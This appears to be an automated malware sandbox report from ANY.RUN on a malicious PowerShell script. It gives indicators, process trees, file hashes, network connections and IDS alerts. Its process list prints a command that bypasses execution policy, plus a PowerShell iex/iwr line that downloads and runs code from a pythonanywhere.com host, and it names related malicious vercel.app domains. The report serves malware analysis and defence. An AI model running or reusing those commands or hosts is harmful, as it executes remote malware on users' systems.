File name:

url

Full analysis: https://app.any.run/tasks/d3ae216b-b1e7-4909-9726-8a8ad5e04740
Verdict: Malicious activity
Analysis date: July 01, 2025, 13:19:04
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (319)
MD5:

8B203E56A1982D9FE5B01BB717597A57

SHA1:

117F46E2B9DA2B57D54AA99A14EC9ECA988B2098

SHA256:

E10EBEB48BD00C7962DCE3185DE9585EAE479C23607142E3C7ABC465D96D56E4

SSDEEP:

24:HgmB+5muoeREMcWRVuEHYuEtLmIULR6LChAOVnhdHBFrrkv+zRR:pokXaE5mVr4rxmFROCdVnHHB1rqcRR

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7100)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 2040)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 2040)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 2040)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 2040)

  • SUSPICIOUS

    • Checks a user's role membership (POWERSHELL)

      • powershell.exe (PID: 7100)
      • powershell.exe (PID: 2040)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 2040)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 7100)

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 7100)

    • Application launched itself

      • powershell.exe (PID: 7100)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 2040)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 440)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 440)

    • Gets path to any of the special folders (POWERSHELL)

      • powershell.exe (PID: 2040)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 2040)

    • Modifies hosts file to alter network resolution

      • powershell.exe (PID: 2040)

  • INFO

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7100)
      • powershell.exe (PID: 2040)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 7100)
      • powershell.exe (PID: 2040)

    • Disables trace logs

      • powershell.exe (PID: 2040)

    • Checks proxy server information

      • powershell.exe (PID: 2040)

    • Checks supported languages

      • csc.exe (PID: 440)
      • cvtres.exe (PID: 1612)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 440)

    • Create files in a temporary directory

      • cvtres.exe (PID: 1612)
      • csc.exe (PID: 440)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 2040)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
148
Monitored processes
7
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs csc.exe cvtres.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
316\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
440"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\f4ndlmsi\f4ndlmsi.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
1612C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES70CB.tmp" "c:\Users\admin\AppData\Local\Temp\f4ndlmsi\CSC9F65B7CDBCCE4350B53188A2DE258BD6.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\vcruntime140_clr0400.dll
1964C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2040"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -c iex (iwr https://hai1723.pythonanywhere.com/url) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
4412\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7100"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\url.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
Total events
14 310
Read events
14 310
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
5
Text files
8
Unknown types
2

Dropped files

PID
Process
Filename
Type
7100powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF174e8d.TMPbinary
MD5:00A03B286E6E0EBFF8D9C492365D5EC2
SHA256:4DBFC417D053BA6867308671F1C61F4DCAFC61F058D4044DB532DA6D3BDE3615
7100powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GDCKCPD0NUB8Q3H3H69A.tempbinary
MD5:FB47F5F0E555FEC2FDD7362DEA21329B
SHA256:D410BDFCDF71F3D256171F4989736825174E1BAEF189028F2AFBB35381829E23
7100powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pywc5epj.b2b.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7100powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:FB47F5F0E555FEC2FDD7362DEA21329B
SHA256:D410BDFCDF71F3D256171F4989736825174E1BAEF189028F2AFBB35381829E23
7100powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qvedojsh.cj4.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7100powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:2CABBC41124F80B0C726C12751A0E32F
SHA256:D0A6B0BFFCC73B3DA5E1CAD68EC7A4E7F43DCA26B6282B8387F5B508FB837316
2040powershell.exeC:\Users\admin\AppData\Local\Temp\f4ndlmsi\f4ndlmsi.cmdlinetext
MD5:B2439A6554B85783BFC02101ABD34027
SHA256:EFDFF1429FFB82340C7E3462DBE606A82D9364B9E415B5A0BF9CE973D3E6EDF8
1612cvtres.exeC:\Users\admin\AppData\Local\Temp\RES70CB.tmpo
MD5:1E33C1FC67AEFEBE2784BEB232D98F01
SHA256:7F3A2DF24B0DD85244B7AC5BF23A960226D06DBFA71352431F99E448E8171768
440csc.exeC:\Users\admin\AppData\Local\Temp\f4ndlmsi\f4ndlmsi.outtext
MD5:4766B5D81278A787DF3525EBFA9E089D
SHA256:8E20795CE4F878FEFC4700A73D9A8173E5973DD115C8A21BBAF55AEDE91D5FBB
2040powershell.exeC:\Users\admin\AppData\Local\Temp\f4ndlmsi\f4ndlmsi.0.cstext
MD5:4E5F975478F68F78907A2B510ACDC6A4
SHA256:3411C92D87DF702F3A42B5DCCE9F843448A32598F1E90D7C3641A54C971ACA6F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
25
DNS requests
21
Threats
21

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1268
svchost.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6320
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
1160
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
1160
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5944
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1268
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2512
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2040
powershell.exe
35.173.69.207:443
hai1723.pythonanywhere.com
AMAZON-AES
US
malicious
1268
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1268
svchost.exe
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
2040
powershell.exe
64.29.17.129:443
akira-kappa.vercel.app
—
US
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.124.78.146
  • 20.73.194.208
whitelisted
google.com
  • 216.58.212.174
whitelisted
hai1723.pythonanywhere.com
  • 35.173.69.207
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.156
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
akira-kappa.vercel.app
  • 64.29.17.129
  • 216.198.79.129
unknown
vortexcoder.vercel.app
  • 216.198.79.193
  • 64.29.17.193
unknown
login.live.com
  • 20.190.160.67
  • 20.190.160.66
  • 20.190.160.17
  • 20.190.160.65
  • 40.126.32.68
  • 20.190.160.14
  • 20.190.160.20
  • 40.126.32.134
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
nexusrules.officeapps.live.com
  • 52.111.227.14
whitelisted

Threats

PID
Process
Class
Message
—
—
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
—
—
Misc activity
ET INFO Observed HTTP Request to *.pythonanywhere .com Domain
—
—
Unknown Traffic
ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
2200
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloud infrastructure to build app (vercel .app)
—
—
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2200
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloud infrastructure to build app (vercel .app)
—
—
Potentially Bad Traffic
SUSPICIOUS [ANY.RUN] Check Security.Principal.WindowsBuiltInRole has been detected
—
—
Misc activity
SUSPICIOUS [ANY.RUN] The Principal.WindowsIdentity in PS.Script has been detected
—
—
Misc activity
SUSPICIOUS [ANY.RUN] The Principal.WindowsIdentity in PS.Script has been detected
—
—
Potentially Bad Traffic
SUSPICIOUS [ANY.RUN] Check Security.Principal.WindowsBuiltInRole has been detected
No debug info